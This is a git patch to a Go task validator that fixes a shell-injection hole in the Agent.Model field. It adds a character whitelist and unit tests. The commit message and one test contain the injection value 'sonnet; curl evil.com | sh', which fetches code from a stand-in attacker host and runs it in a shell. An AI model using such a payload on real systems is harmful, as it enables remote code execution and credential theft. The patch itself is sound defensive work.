From 0cedb90d44b09c9eda296bcdb8cedd5b58d76d22 Mon Sep 17 00:00:00 2001 From: Peter Stone Date: Wed, 8 Jul 2026 04:39:42 +0000 Subject: fix(task): reject shell metacharacters in Agent.Model Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD --- internal/task/validator.go | 11 +++++++++++ internal/task/validator_test.go | 25 +++++++++++++++++++++++++ 2 files changed, 36 insertions(+) (limited to 'internal') diff --git a/internal/task/validator.go b/internal/task/validator.go index 09f4b34..03d3921 100644 --- a/internal/task/validator.go +++ b/internal/task/validator.go @@ -2,9 +2,16 @@ package task import ( "fmt" + "regexp" "strings" ) +// modelPattern restricts Agent.Model to characters safe to concatenate into +// the `sh -c` command executor.ContainerRunner.buildInnerCmd builds for the +// claude CLI's --model flag. Real model names (e.g. "sonnet", "opus", +// "claude-sonnet-4-6") only ever use this character set. +var modelPattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`) + // ValidationError collects multiple validation failures. type ValidationError struct { Errors []string @@ -55,6 +62,10 @@ func Validate(t *Task) error { } } + if t.Agent.Model != "" && !modelPattern.MatchString(t.Agent.Model) { + ve.Add(fmt.Sprintf("invalid model %q; must match %s", t.Agent.Model, modelPattern.String())) + } + if t.Agent.PermissionMode != "" { validModes := map[string]bool{ "default": true, "acceptEdits": true, "bypassPermissions": true, diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go index 2c6735c..2e088cf 100644 --- a/internal/task/validator_test.go +++ b/internal/task/validator_test.go @@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) { } } +func TestValidate_InvalidModel_ReturnsError(t *testing.T) { + task := validTask() + // Shell metacharacters must be rejected -- Agent.Model is concatenated + // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd + // with no further escaping. + task.Agent.Model = "sonnet; curl evil.com | sh" + err := Validate(task) + if err == nil { + t.Fatal("expected error") + } + if !strings.Contains(err.Error(), "model") { + t.Errorf("expected model error, got: %v", err) + } +} + +func TestValidate_ValidModel_NoError(t *testing.T) { + for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} { + task := validTask() + task.Agent.Model = m + if err := Validate(task); err != nil { + t.Errorf("model %q: expected no error, got: %v", m, err) + } + } +} + func TestValidate_MultipleErrors(t *testing.T) { task := &Task{ Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"}, -- cgit v1.2.3